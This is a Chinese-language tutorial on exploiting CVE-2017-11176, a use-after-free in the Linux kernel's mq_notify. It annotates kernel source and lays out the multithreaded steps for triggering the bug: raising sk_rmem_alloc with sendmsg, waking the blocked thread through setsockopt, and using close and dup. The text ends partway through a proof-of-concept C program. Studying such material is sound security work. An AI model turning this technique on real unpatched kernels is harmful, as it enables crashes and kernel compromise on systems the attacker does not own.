前言
The mq_notify function in the Linux kernel through 4.11.9 does not set the sock pointer to NULL upon entry into the retry logic. During a user-space close of a Netlink socket, it allows attackers to cause a denial of service (use-after-free) or possibly have unspecified other impact.
CVE-2017-11176,漏洞产生于mq_notify()
函数里,在代码retry
逻辑里的一个sock
指针由于UAF问题变成野指针。当然大部分linux发行版早已修复该问题。
本文使用的内核代码与特定版本(v4.4.0.x)匹配,但该bug
也会影响最高至 v4.11.9 版本的内核。有人可能认为这个版本太旧了,但它实际上仍然在很多地方使用。而且漏洞利用具备普适性,在所有存在漏洞的内核上找到相应的路径应该不会太难。
注意,这里构建的漏洞exploit
不是所有缺陷内核版本通用的,但一般Poc
都可以触发打挂。
如何搭建环境并运行,在之前文章中讲过,这里不再赘述。下面先讲前提需要了解的知识,之后进行代码分析。这对初学者来说很枯燥,无论如何,如果你真的想深入内核,你必须准备好阅读大量的代码和文档。加入进来吧。
引用计数
众所周知,C/C++语言本身并不支持垃圾回收机制,虽然语言本身具有极高的灵活性,但是当遇到大型的项目时,繁琐的内存管理往往让人痛苦异常。
引用计数用来记录当前有多少指针指向同一块动态分配的内存。
当有指针指向这块内存时,计数器加1;当指向此内存的指针销毁时,计数器减1。
当引用计数为0时,表示此块内存没有被任何指针指向,此块被共享的动态内存才能被释放。
现代的C/C++类库一般会提供智能指针来作为内存管理的折中方案,比如STL的auto_ptr,Boost的Smart_ptr库,QT的QPointer家族,甚至是基于C语言构建的GTK+也通过引用计数来实现类似的功能。
在Linux Kernel里,大部分结构的引用计数是通过struct kref结构来实现的,少部分结构体是自身维护。
struct sock {
/*
* Now struct inet_timewait_sock also uses sock_common, so please just
* don't add nothing before this first member (__sk_common) --acme
*/
struct sock_common __sk_common;
#define sk_node __sk_common.skc_node
#define sk_nulls_node __sk_common.skc_nulls_node
#define sk_refcnt __sk_common.skc_refcnt
#define sk_tx_queue_mapping __sk_common.skc_tx_queue_mapping
#ifdef CONFIG_XPS
#define sk_rx_queue_mapping __sk_common.skc_rx_queue_mapping
#endif
[...]
}
sendmsg()函数简述
头文件: sys/types.h、sys/socket.h
ssize_t sendmsg(int sockfd, const struct msghdr *msg, int flags);
该函数为通过socket发送msghdr结构体的信息
sendmsg()
用来将数据由指定的socket 传给对方主机。参数 sockfd 为已建立好连线的 socket , 如果利用UDP 协议则不需经过连线操作。参数 msg 指向欲连线的数据结构内容, 参数 flags 一般默认为0。
struct msghdr {
void *msg_name; //Address to send to /receive from.
socklen_t msg_namelen; //Length of addres data
strcut iovec *msg_iov; //Vector of data to send/receive into
size_t msg_iovlen; //Number of elements in the vector
void *msg_control; //Ancillary dat
size_t msg_controllen; //Ancillary data buffer length
int msg_flags; //Flags on received message
};
struct iovec {
void __user *iov_base;
__kernel_size_t iov_len;
};
mq_notify()函数简述
头文件: mqueue.h
int mq_notify(mqd_t mqdes, const struct sigevent* notification);
该函数为指定队列建立或删除异步事件通知
- 如果
notification
参数为空,而且当前进程被注册为接收指定队列的通知,那么已存在的注册将被撤销。 - 如果
notification
参数为非空,那么当前进程希望在有一个消息到达所指定的先前为空的队列时得到通知。 - 任意时刻只有一个进程可以被注册为接收某个给定队列的通知。
- 当有一个消息到达先前为空的消息队列,而且已有一个进程被注册为接收该队列的通知时,只有在没有任何线程阻塞在该队列的
mq_receive
调用中的前提下,通知才会发出。即说明,在mq_receive
调用中的阻塞比任何通知的注册都优先。 - 当前通知被发送给它的注册进程时,其注册即被撤销。该进程必须再次调用
mq_notify
以重新注册。
union sigval{
int sival_int; /*integer value*/
void *sival_ptr; /*pointer value*/
};
struct sigevent{
int sigev_notify; /*SIGEV_{NONE, SIGNAL, THREAD}*/
int sigev_signo; /*signal number if SIGEV_SIGNAL*/
union sigval sigev_value;//sigev_notify_function 指定函数的参数由该变量指定
void (*sigev_notify_function)(union sigval);//当为SIGEV_THREAD时,线程执行的函数由该指针指定
pthread_attr_t *sigev_notify_attributes;//线程属性由该指针指定
};
特点
System V
消息队列的问题之一是无法通知一个进程何时在某个队列中放置了一个消息。采用轮询(poling),是对CPU时间的一种浪费。Posix
消息队列容许异步事件通知,以告知何时有一个消息放置到某个空消息队列中,这种通知通过调用mq_notify()
建立。
该通知有两种方式:
- 当一个消息被放置某个空队列时,产生一个信号来通知。
- 当一个消息被放置某个空队列时,通过创建一个线程来执行一个特定程序,来完成消息到来时的处理。
漏洞分析
首先,我们已经知道是指定队列建立或删除异步事件通知的mq_notify()
函数中出现了漏洞,那么先跟着进入系统调用,查看内核是怎么执行代码。
/*
* Notes: the case when user wants us to deregister (with NULL as pointer)
* and he isn't currently owner of notification, will be silently discarded.
* It isn't explicitly defined in the POSIX.
*/
SYSCALL_DEFINE2(mq_notify, mqd_t mqdes,
const struct sigevent __user * u_notification)
{//查看syscall的第一个参数是mq_notify,其后跟着就是用户态中它的两个参数
int ret;
struct fd f;
struct sock *sock;
struct inode *inode;
struct sigevent notification;
struct mqueue_inode_info *info;
struct sk_buff *nc;
//判断从用户态传进的struct sigevent是否为空,如果非空,通过copy_from_user()将u_notification中 的数据拷贝到notification中,这里将数据从用户层拷贝到了内核层。如果拷贝失败,直接退出
if (u_notification) {
if (copy_from_user(¬ification, u_notification,
sizeof(struct sigevent)))
return -EFAULT;
}
//记录消息队列相关审核数据,与利用路径无影响,不做分析
audit_mq_notify(mqdes, u_notification ? ¬ification : NULL);
nc = NULL;
sock = NULL;
if (u_notification != NULL) {
if (unlikely(notification.sigev_notify != SIGEV_NONE &&
notification.sigev_notify != SIGEV_SIGNAL &&
notification.sigev_notify != SIGEV_THREAD))
return -EINVAL;
//如果notification.sigev_notify为SIGEV_SIGNAL,就判断该信号是否合法,再往下走
if (notification.sigev_notify == SIGEV_SIGNAL &&
!valid_signal(notification.sigev_signo)) {
return -EINVAL;
}
//如果notification.sigev_notify为SIGEV_THREAD,进入关键代码块,其中有retry的漏洞代码块
if (notification.sigev_notify == SIGEV_THREAD) {
long timeo;
/* create the notify skb */
nc = alloc_skb(NOTIFY_COOKIE_LEN, GFP_KERNEL);
if (!nc) {
ret = -ENOMEM;
goto out;
}
//这里将notification.sigev_value.sival_ptr指向的数据拷贝到nc->data中,可以在用户态下分配一块长度为 NOTIFY_COOKIE_LEN 的内存大小
if (copy_from_user(nc->data,
notification.sigev_value.sival_ptr,
NOTIFY_COOKIE_LEN)) {
//这里必须成功,不然走不到retry漏洞代码块
ret = -EFAULT;
goto out;
}
/* TODO: add a header? */
skb_put(nc, NOTIFY_COOKIE_LEN);
/* and attach it to the socket */
retry:
f = fdget(notification.sigev_signo);
//获取该出文件描述符,不存在也直接退出
if (!f.file) {
ret = -EBADF;
goto out;
}
//具体函数过程下文查看,重点于引用计数sk_refcnt +1
sock = netlink_getsockbyfilp(f.file);
//文件描述符引用计数 f_count -1
fdput(f);
if (IS_ERR(sock)) {
ret = PTR_ERR(sock);
sock = NULL;
goto out;
}
timeo = MAX_SCHEDULE_TIMEOUT;
//具体函数过程下文查看,漏洞利用点在于引用计数sk_refcnt -1
ret = netlink_attachskb(sock, nc, &timeo, NULL);
//当ret得到返回值是1时,重新进入retry过程。
if (ret == 1)
//在引用计数平衡的现在,应该需要把sock置NULL,不然在多线程下,它可能变成一个野指针
goto retry;
if (ret) {
sock = NULL;
nc = NULL;
goto out;
}
}
}
[...]
out_fput:
fdput(f);
//在第一个线程第二次进入retry的时候,第二个线程使用close()函数关闭文件,文件删除并把相关文件的引用减1,同时sock的引用计数变成0,所以它也被free,但没有置为NULL,变成野指针。回到第一个线程,fdget()函数不通过,直接转去out,又被计数减1一次,造成uaf漏洞。
out:
if (sock)
//具体函数过程下文查看,漏洞利用点在于多释放一次sock结构体
netlink_detachskb(sock, nc);
else if (nc)
dev_kfree_skb(nc);
return ret;
}
上述代码的注释,说明了触发漏洞的大致过程和大致的构造数据,在构造前,先查看多线程如何来触发该漏洞
构造触发
上文重点子函数没有具体解释,接下来会详细说明,netlink_getsockbyfilp()函数和netlink_detachskb()函数基本没有什么需要来特殊构造,因为它直接增加或减少了引用计数
//调用netlink_getsockbyfilp()函数通过文件描述符获取netlink_sock结构体
struct sock *netlink_getsockbyfilp(struct file *filp)
{
调用file_inode()函数通过filp_inode()函数找到对应的inode节点然后通过SOCK_I函数处理inode节点
struct inode *inode = file_inode(filp);
struct sock *sock;
//该函数找出socket成员,查看本章下方
if (!S_ISSOCK(inode->i_mode))
return ERR_PTR(-ENOTSOCK);
//通过SOCKET_I()函数处理inode节点
sock = SOCKET_I(inode)->sk;
if (sock->sk_family != AF_NETLINK)
return ERR_PTR(-EINVAL);
//调用关于引用计数的函数,查看本章下方
sock_hold(sock);
return sock;
}
//通过宏container_of在socket_alloc结构体中找出socket成员
static inline struct socket *SOCKET_I(struct inode *inode)
{
return &container_of(inode, struct socket_alloc, vfs_inode)->socket;
}
#define
container_of(ptr, type, member) (type *)((char *)(ptr) - (char *) &((type *)0)->member)
#endif
/* Grab socket reference count. This operation is valid only
when sk is ALREADY grabbed f.e. it is found in hash table
or a list and the lookup is made under lock preventing hash table
modifications.
*/
//函数层层调用,最后发现是使sock->sk_refcnt +1
static __always_inline void sock_hold(struct sock *sk)
{
refcount_inc(&sk->sk_refcnt);
}
static inline void refcount_inc(refcount_t *r)
{
atomic_inc(&r->refs);
}
#define atomic_inc(v) atomic_add(1,(v))
//将sock的内存释放,并且引用计数引用计数sk_refcnt -1
void netlink_detachskb(struct sock *sk, struct sk_buff *skb)
{
kfree_skb(skb);
sock_put(sk);
}
而netlink_attachskb()函数需要重点看。看代码注释,返回 0 时正常运行,但引用计数没有减少,我们需要走返回 1 的路径上,在等待之后 socket 内容时引用计数同时减 1 。后期需要精心构造struct sigevent
来使它可以返回 1
/*
* Attach a skb to a netlink socket.
* The caller must hold a reference to the destination socket. On error, the
* reference is dropped. The skb is not send to the destination, just all
* all error checks are performed and memory in the queue is reserved.
* Return values:
* < 0: error. skb freed, reference to sock dropped.
* 0: continue
* 1: repeat lookup - reference dropped while waiting for socket memory.
*/
//该函数功能是将skb绑定到netlink socket上
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;
//也是宏container_of在通过nlk_sk()函数通过sk获取netlink_sock
nlk = nlk_sk(sk);
//一般来说这个判断通过不了,执行下面的代码,然后返回 0
//前者用来判断所接收内容是否超出缓存区大小
if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf ||
test_bit(NETLINK_S_CONGESTED, &nlk->state))) {
DECLARE_WAITQUEUE(wait, current);
if (!*timeo) {
if (!ssk || netlink_is_kernel(ssk))
netlink_overrun(sk);
sock_put(sk);
kfree_skb(skb);
return -EAGAIN;//注意此错误返回
}
//线程阻塞调度前的准备
__set_current_state(TASK_INTERRUPTIBLE);
add_wait_queue(&nlk->wait, &wait);
if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf ||
test_bit(NETLINK_S_CONGESTED, &nlk->state)) &&
!sock_flag(sk, SOCK_DEAD))
//调度函数,进行阻塞本线程
*timeo = schedule_timeout(*timeo);
__set_current_state(TASK_RUNNING);
remove_wait_queue(&nlk->wait, &wait);
//关键函数,调用关于引用计数减一的函数
sock_put(sk);
if (signal_pending(current)) {
kfree_skb(skb);
return sock_intr_errno(*timeo);
}
return 1;
}
//正常流程执行该函数,但和引用计数无关
netlink_skb_set_owner_r(skb, sk);
return 0;
}
/* Ungrab socket and destroy it, if it was the last reference. */
//该函数除了函数层层调用,最后发现是使sock->sk_refcnt -1外,如果sk_refcnt最终等于0,就会释放它
static inline void sock_put(struct sock *sk)
{
if (refcount_dec_and_test(&sk->sk_refcnt))
sk_free(sk);
}
static inline __must_check bool refcount_dec_and_test(refcount_t *r)
{
return atomic_dec_and_test(&r->refs);
}
#define atomic_dec_and_test(v) (atomic_sub_return(1, (v)) == 0)
//调用宏atomic_add,该宏执行原子加操作。
//这行代码的含义是:sk->sk_rmem_alloc += skb->truesize.
//既然这行代码可以直接增加sk->sk_rmem_alloc的大小,
//那么可以多次调用netlink_skb_set_owner_r()函数增加sk->rmem_alloc的值
static void netlink_skb_set_owner_r(struct sk_buff *skb, struct sock *sk)
{
WARN_ON(skb->sk != NULL);
skb->sk = sk;
skb->destructor = netlink_skb_destructor;
atomic_add(skb->truesize, &sk->sk_rmem_alloc);
sk_mem_charge(sk, skb->truesize);
}
绕过判断
遗憾的是,无法使用mq_notify()
函数原路径来反复叠加sk_rmem_alloc
,消息队列一个成员只能执行一次,所以需要查看其他调用路径来触发netlink_skb_set_owner_r()
函数。
通过understand工具可以快速找到netlink_skb_set_owner_r()
的调用链:
SYSCALL_DEFINE3(sendmsg,…)
-> syssendmsg()
-> _sys_sendmsg()
-> sock_sendmsg()
-> __sock_sendmsg_nosec()
-> sock->ops->sendmsg()//到这步
-> netlink_sendmsg()
-> netlink_unicast()
-> netlink_attachskb()
-> netlink_skb_set_owner_r()
为了顺利的通过函数调用路径,这里需要分析如何从netlink_sendmsg()
函数到达netlink_skb_set_owner_r()
函数。
static int netlink_sendmsg(struct socket *sock, struct msghdr *msg, size_t len)
{
struct sock *sk = sock->sk;
struct netlink_sock *nlk = nlk_sk(sk);
DECLARE_SOCKADDR(struct sockaddr_nl *, addr, msg->msg_name);
u32 dst_portid;
u32 dst_group;
struct sk_buff *skb;
int err;
struct scm_cookie scm;
u32 netlink_skb_flags = 0;
//msg->msg_flags不能设置成MSG_OOB
if (msg->msg_flags&MSG_OOB)
return -EOPNOTSUPP;
err = scm_send(sock, msg, &scm, true);
//err值需要非负
if (err < 0)
return err;
//这里检查send和receive套接字连接是否成功,这里绕过,就会被系统赋予pid和group,而我们不可以让它这么干,所以msg->msg_namelen需要不为 0
if (msg->msg_namelen) {
err = -EINVAL;
//msg->msg_name->nl_family需要为 AF_NETLINK
if (addr->nl_family != AF_NETLINK)
goto out;
//发送单播消息而不是广播,需要msg->msg_name->dst_group为 0
dst_portid = addr->nl_pid;
//这里为零说明是和内核通信,不可以,所以赋予msg->msg_name->dst_pid 的值
dst_group = ffs(addr->nl_groups);
err = -EPERM;
if ((dst_group || dst_portid) &&
//运行代码的是用户态,所以send套接字需要协议为 NETLINK_USERSOCK
!netlink_allowed(sock, NL_CFG_F_NONROOT_SEND))
goto out;
netlink_skb_flags |= NETLINK_SKB_DST;
} else {
dst_portid = nlk->dst_portid;
dst_group = nlk->dst_group;
}
//
if (!nlk->bound) {
err = netlink_autobind(sock);
if (err)
goto out;
} else {
/* Ensure nlk is hashed and visible. */
smp_rmb();
}
err = -EMSGSIZE;
//len在__sys_sendmsg()函数中得出是iovec的总长度,为了小于sk->sk_sndbuf-32,我们使msg->msg_iovlen=1,msg->msg_iov->iov_len就基本比sk->sk_sndbuf-32小
//为了使__sys_sendmsg()函数不出错,msg->msg_iov需要用户态可读,msg->msg_iov->iov_base也需要用户态可读。
if (len > sk->sk_sndbuf - 32)
goto out;
err = -ENOBUFS;
skb = netlink_alloc_large_skb(len, dst_group);
if (skb == NULL)
goto out;
[...]
//之前设置为 0,绕过进入下一行代码
if (dst_group) {
refcount_inc(&skb->users);
netlink_broadcast(sk, skb, dst_portid, dst_group, GFP_KERNEL);
}
//进入下一层函数
err = netlink_unicast(sk, skb, dst_portid, msg->msg_flags&MSG_DONTWAIT);
out:
scm_destroy(&scm);
return err;
}
//子函数
static __inline__ int scm_send(struct socket *sock, struct msghdr *msg,
struct scm_cookie *scm, bool forcecreds)
{
memset(scm, 0, sizeof(*scm));
scm->creds.uid = INVALID_UID;
scm->creds.gid = INVALID_GID;
if (forcecreds)
scm_set_cred(scm, task_tgid(current), current_uid(), current_gid());
unix_get_peersec_dgram(sock, scm);
//msg->msg_controllen需要为 0(size_t 没有负值),跳过__scm_send()函数复杂检查
if (msg->msg_controllen <= 0)
return 0;
return __scm_send(sock, msg, scm);
}
static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
struct msghdr *msg_sys, unsigned int flags,
struct used_address *used_address,
unsigned int allowed_msghdr_flags)
{
[...]
msg_sys->msg_name = &address;
if (MSG_CMSG_COMPAT & flags)
err = get_compat_msghdr(msg_sys, msg_compat, NULL, &iov);
else
//该函数最终赋予len的大小
err = copy_msghdr_from_user(msg_sys, msg, NULL, &iov);
[...]
/*
* If this is sendmmsg() and current destination address is same as
* previously succeeded address, omit asking LSM's decision.
* used_address->name_len is initialized to UINT_MAX so that the first
* destination address never matches.
*/
if (used_address && msg_sys->msg_name &&
used_address->name_len == msg_sys->msg_namelen &&
!memcmp(&used_address->name, msg_sys->msg_name,
used_address->name_len)) {
err = sock_sendmsg_nosec(sock, msg_sys);
goto out_freectl;
}
err = sock_sendmsg(sock, msg_sys);
[...]
}
int netlink_unicast(struct sock *ssk, struct sk_buff *skb,
u32 portid, int nonblock)
{
struct sock *sk;
int err;
long timeo;
skb = netlink_trim(skb, gfp_any());
//不想在下一层函数中阻塞,timeo将为 0,那么nonblock需要为 MSG_DONTWAIT 0x40 /* Nonblocking io */
timeo = sock_sndtimeo(ssk, nonblock);
retry:
//根据pid寻找到recv套接字
sk = netlink_getsockbyportid(ssk, portid);
if (IS_ERR(sk)) {
kfree_skb(skb);
return PTR_ERR(sk);
}
//不能为内核套接字,所以recv的协议也为 NETLINK_USERSOCK
if (netlink_is_kernel(sk))
return netlink_unicast_kernel(sk, skb, ssk);
//recv套接字不能创建任何bpf过滤(一般也不会)
if (sk_filter(sk, skb)) {
err = skb->len;
kfree_skb(skb);
sock_put(sk);
return err;
}
//进入下一层函数,rcvbuf也在其中被填充
err = netlink_attachskb(sk, skb, &timeo, ssk);
if (err == 1)
goto retry;
if (err)
return err;
return netlink_sendskb(sk, skb);
}
最后,除了修改sk_rmem_alloc的大小,也可以修改sk_rcvbuf的大小来绕过判断。查看sock_setsockopt()
函数,它就像函数名一样可以在用户态设置很多socket的属性,它也可以修改sk_rcvbuf的大小,但是如果仅仅通过它就能成功绕过的话,需要让sk_rcvbuf比 0 还要小。通过代码审计,发现这是不可能的事情,sk_rcvbuf被设计成限制在一个范围之内,但我们可以改小它的大小,而让sendmsg()
函数大大减少运行次数。
struct sock {
[...]
struct {
atomic_t rmem_alloc;
int len;
struct sk_buff *head;
struct sk_buff *tail;
} sk_backlog;
//sk_rmem_alloc初始化为 0
#define sk_rmem_alloc sk_backlog.rmem_alloc
[...]
}
/*
* Set a socket option. Because we don't know the option lengths we have
* to pass the user mode parameter for the protocols to sort out.
*/
SYSCALL_DEFINE5(setsockopt, int, fd, int, level, int, optname,
char __user *, optval, int, optlen)
{
int err, fput_needed;
struct socket *sock;
//optlen不能为负数
if (optlen < 0)
return -EINVAL;
sock = sockfd_lookup_light(fd, &err, &fput_needed);
//套接字必须是有效的
if (sock != NULL) {
err = security_socket_setsockopt(sock, level, optname);
if (err)
goto out_put;
//level的参数值
if (level == SOL_SOCKET)
err =
sock_setsockopt(sock, level, optname, optval,
optlen);
else
err =
sock->ops->setsockopt(sock, level, optname, optval,
optlen);
[...]
}
/*
* This is meant for all protocols to use and covers goings on
* at the socket level. Everything here is generic.
*/
int sock_setsockopt(struct socket *sock, int level, int optname,
char __user *optval, unsigned int optlen)
{
[...]
lock_sock(sk);
switch (optname) {
[...]
//optname的参数值
case SO_RCVBUF:
val = min_t(u32, val, sysctl_rmem_max);
set_rcvbuf:
sk->sk_userlocks |= SOCK_RCVBUF_LOCK;
//sk_rcvbuf只能修改到 SOCK_MIN_RCVBUF 这个大小的程度
sk->sk_rcvbuf = max_t(int, val * 2, SOCK_MIN_RCVBUF);
break;
[...]
}
[...]
}
#define TCP_SKB_MIN_TRUESIZE (2048 + SKB_DATA_ALIGN(sizeof(struct sk_buff)))
#define SOCK_MIN_SNDBUF (TCP_SKB_MIN_TRUESIZE * 2)
#define SOCK_MIN_RCVBUF TCP_SKB_MIN_TRUESIZE
阻塞唤醒
通过了大小判断进入到if判断体内部,却发现内部流程明显是进行了一次线程调度,如果最终不被其他线程唤醒,将永远卡在等待队列(wait_queue)。
//宏container_of在通过nlk_sk()函数,通过sk获取netlink_sock
nlk = nlk_sk(sk);
//声明一个等待队列元素
DECLARE_WAITQUEUE(wait, current);
//任务state状态修改
__set_current_state(TASK_INTERRUPTIBLE);
//通过该函数将当前任务加入队列中,特定资源为nlk->wait
add_wait_queue(&nlk->wait, &wait);
//调度函数,进行阻塞本任务
*timeo = schedule_timeout(*timeo);
//唤醒任务
__set_current_state(TASK_RUNNING);
remove_wait_queue(&nlk->wait, &wait);
首先要了解下,任务(内核不管进程、线程,都叫任务)的运行状态由task_state结构体中的state成员表示,可以看出实质上没有waiting字段的状态
Linux进程状态:(TASK_RUNNING),可执行状态。
只有在该状态的进程才可能在CPU上运行。而同一时刻可能有多个进程处于可执行状态,这些进程的task_struct结构(进程控制块)被放入对应CPU的可执行队列中(一个进程最多只能出现在一个CPU的可执行队列中)。进程调度器的任务就是从各个CPU的可执行队列中分别选择一个进程在该CPU上运行。
ps:很多操作系统教科书将正在CPU上执行的进程定义为运行状态、而将可执行但是尚未被调度执行的进程定义为准备状态,这两种状态在linux下统一为TASK_RUNNING状态。
Linux进程状态:(TASK_INTERRUPTIBLE),可中断的睡眠状态。
处于这个状态的进程因为等待某某事件的发生(比如等待socket连接、等待信号量),而被挂起。这些进程的task_struct结构被放入对应事件的等待队列中。当这些事件发生时(由外部中断触发、或由其他进程触发),对应的等待队列中的一个或多个进程将被唤醒。
/* Used in tsk->state: */
#define TASK_RUNNING 0
#define TASK_INTERRUPTIBLE 1
#define TASK_UNINTERRUPTIBLE 2
#define __TASK_STOPPED 4
#define __TASK_TRACED 8
/* Used in tsk->exit_state: */
#define EXIT_DEAD 16
#define EXIT_ZOMBIE 32
#define EXIT_TRACE (EXIT_ZOMBIE | EXIT_DEAD)
/* Used in tsk->state again: */
#define TASK_DEAD 64
#define TASK_WAKEKILL 128
#define TASK_WAKING 256
#define TASK_PARKED 512
#define TASK_NOLOAD 1024
#define TASK_NEW 2048
#define TASK_STATE_MAX 4096
#define TASK_STATE_TO_CHAR_STR "RSDTtXZxKWPNn"
上段代码比较典型,有设置state内容的__set_current_state()
函数,有进行调度任务的schedule_timeout()
函数。
如果想要阻塞任务————也就是将任务从RUNNING
状态转换到INTERRUPTIBLE
状态,至少需要做两件事:
- 将任务的运行状态设置为TASK_INTERRUPTIBLE
- 调用
deactivate_task()
函数来移出运行队列 (schedule()
函数内部会调用它,并且schedule()
函数不仅将任务移出队列,还会选择下一个将在CPU上运行的任务)
static void sched notrace schedule(bool preempt)
{
struct task_struct prev, next;
unsigned long switch_count;
struct rq_flags rf;
//run queue的结构体,调度器中重要的结构
struct rq rq;
int cpu;cpu = smp_processor_id();
rq = cpu_rq(cpu);
prev = rq->curr;
switch_count = &prev->nivcsw;
if (!preempt && prev->state) {
if (unlikely(signal_pending_state(prev->state, prev))) {
prev->state = TASK_RUNNING;
} else {
//关键函数,当前任务状态不是RUNNING,也没有信号挂起,即可调用
deactivate_task(rq, prev, DEQUEUE_SLEEP | DEQUEUE_NOCLOCK);
prev->on_rq = 0;
if (prev->in_iowait) {
atomic_inc(&rq->nr_iowait);
delayacct_blkio_start();
}
[…]
}
现在,任务陷入阻塞,处于等待队列中。那么,想要从等待队列中唤醒,可以通过其他任务唤醒、信号唤醒等办法,这里使用其他任务唤醒。
特定资源具有特定的等待队列。当任务想要访问该资源但不可用时,将一直处于阻塞中,一直到该资源允许访问,任务将自动调用activate_task()函数脱离等待队列。而该资源和注册时的add_wait_queue()函数的参数有关。
最后,唤醒函数一般和__wake_up()函数有关,而根据赋予的任务状态不同,辅助定义了不同的宏。
#define wake_up_interruptible(x) __wake_up(x, TASK_INTERRUPTIBLE, 1, NULL)
void __wake_up(struct wait_queue_head *wq_head, unsigned int mode,
int nr_exclusive, void *key)
{
unsigned long flags;
spin_lock_irqsave(&wq_head->lock, flags);
//关键函数
__wake_up_common(wq_head, mode, nr_exclusive, 0, key);
spin_unlock_irqrestore(&wq_head->lock, flags);
}
static void __wake_up_common(struct wait_queue_head *wq_head, unsigned int mode,
int nr_exclusive, int wake_flags, void *key)
{
wait_queue_entry_t *curr, *next;
list_for_each_entry_safe(curr, next, &wq_head->head, entry) {
unsigned flags = curr->flags;
//此处的func正好和wait queue的初始化有关
if (curr->func(curr, mode, wake_flags, key) &&
(flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
break;
}
}
#define __WAITQUEUE_INITIALIZER(name, tsk) {
.private = tsk,
.func = default_wake_function,
.entry = { NULL, NULL } }
#define DECLARE_WAITQUEUE(name, tsk)
struct wait_queue_entry name = __WAITQUEUE_INITIALIZER(name, tsk)
int default_wake_function(wait_queue_entry_t *curr, unsigned mode, int wake_flags,
void *key)
{
return try_to_wake_up(curr->private, mode, wake_flags);
}
//接下来是一长串函数调用,最后到activate_task()函数
try_to_wake_up(struct task_struct *p, unsigned int state, int wake_flags);
static void ttwu_queue(struct task_struct *p, int cpu, int wake_flags);
static void
ttwu_do_activate(struct rq *rq, struct task_struct *p, int wake_flags, struct rq_flags *rf);
static inline void ttwu_activate(struct rq *rq, struct task_struct *p, int en_flags);
void activate_task(struct rq *rq, struct task_struct *p, int flags);
那么,另一个任务需要调用到函数语句wake_up_interruptible(&nlk->wait)
,寻找可以触发的系统调用。
接着发现系统调用close、系统调用recvmsg和系统调用setsockopt,判断谁更简洁和副作用更小。
最后判定系统调用setsockopt最好。
recvmsg问题在于调用链过长,
close问题在于容易打出panic,不好利用。
系统调用setsockopt的入口函数已经分析过,现在看sock->opt->setsockopt()
函数的检查点。
static int netlink_setsockopt(struct socket *sock, int level, int optname,
char __user *optval, unsigned int optlen)
{
struct sock *sk = sock->sk;
struct netlink_sock *nlk = nlk_sk(sk);
unsigned int val = 0;
int err;
//level的参数值
if (level != SOL_NETLINK)
return -ENOPROTOOPT;
//optlen值必须大与等于sizeof(int),optval必须指向可读地址
if (optlen >= sizeof(int) &&
get_user(val, (unsigned int __user *)optval))
return -EFAULT;
switch (optname) {
[...]
//optname的参数值
case NETLINK_NO_ENOBUFS:
//val值不能为 0
if (val) {
nlk->flags |= NETLINK_F_RECV_NO_ENOBUFS;
clear_bit(NETLINK_S_CONGESTED, &nlk->state);
//关键函数,可以使资源可读,唤醒对应任务
wake_up_interruptible(&nlk->wait);
} else {
nlk->flags &= ~NETLINK_F_RECV_NO_ENOBUFS;
}
err = 0;
break;
[...]
}
return err;
}
遗留问题
这里还有两个问题:
1.在一开始创建socket套接字,使用bind()
函数时,会调用netlink_insert()
函数,会增加引用计数,所以最后漏洞需要触发两次才能UAF
//bind()函数系统调用流程
static int netlink_bind(struct socket *sock, struct sockaddr *addr,
int addr_len)
{
struct sock *sk = sock->sk;
struct net *net = sock_net(sk);
struct netlink_sock *nlk = nlk_sk(sk);
struct sockaddr_nl *nladdr = (struct sockaddr_nl *)addr;
int err;
long unsigned int groups = nladdr->nl_groups;
bool bound;
if (addr_len < sizeof(struct sockaddr_nl))
return -EINVAL;
if (nladdr->nl_family != AF_NETLINK)
return -EINVAL;
[...]
/* No need for barriers here as we return to user-space without
* using any of the bound attributes.
*/
if (!bound) {
err = nladdr->nl_pid ?
//引用计数在此函数中增加
netlink_insert(sk, nladdr->nl_pid) :
netlink_autobind(sock);
if (err) {
netlink_undo_bind(nlk->ngroups, groups, sk);
return err;
}
}
[...]
}
static int netlink_insert(struct sock *sk, u32 portid)
{
struct netlink_table *table = &nl_table[sk->sk_protocol];
int err;
lock_sock(sk);
err = nlk_sk(sk)->portid == portid ? 0 : -EBUSY;
if (nlk_sk(sk)->bound)
goto err;
err = -ENOMEM;
if (BITS_PER_LONG > 32 &&
unlikely(atomic_read(&table->hash.nelems) >= UINT_MAX))
goto err;
nlk_sk(sk)->portid = portid;
//引用计数增加
sock_hold(sk);
[...]
}
2.另一个任务唤醒主任务时,为了可以稳定触发漏洞,close(fd)
必须在setsockopt(fd)
之前使用,所以套接字关闭后,需要一个新的套接字来使用,这里可以使用dup()
函数来复制,同时文件引用指针不指向真正file数据块,所以retry第二轮可以正常跑去out。
为什么不用库封装好的函数?
因为库函数在执行系统调用前,可能有其他操作,降低了利用的稳定性,所以通通自己重写。
流程总结
最后,我们来查看真正的poc
代码触发流程
中间poc
#define _GNU_SOURCE
#include <stdio.h>
#include <mqueue.h>
#include <asm/types.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>
#define SOL_NETLINK 270
#define NOTIFY_COOKIE_LEN 32
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
#define _setsockopt(fd, level, optname, optval, optlen) syscall(__NR_setsockopt, fd, level, optname, optval, optlen)
#define _dup(fd) syscall(__NR_dup, fd)
#define _close(fd) syscall(__NR_close, fd)
#define _bind(recv_fd, addr, len) syscall(__NR_bind, recv_fd, addr, len)
#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg ,flags)
struct unblock_thread_arg {
int fd;
int unblock_fd;
bool ok;
};
int prepare(){
char iov_base[1024];
int send_fd = -1;
int recv_fd = -1;
int least_size = 0;
struct iovec iov;
iov.iov_base = iov_base;
iov.iov_len = sizeof(iov_base);
struct sockaddr_nl addr;
addr.nl_family = AF_NETLINK;
addr.nl_pid = 11;
addr.nl_groups = 0;
addr.nl_pad = 0;
struct msghdr msg;
msg.msg_name = &addr;
msg.msg_namelen = sizeof(addr);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = NULL;
msg.msg_controllen = 0;
msg.msg_flags = 0;
puts("Start");
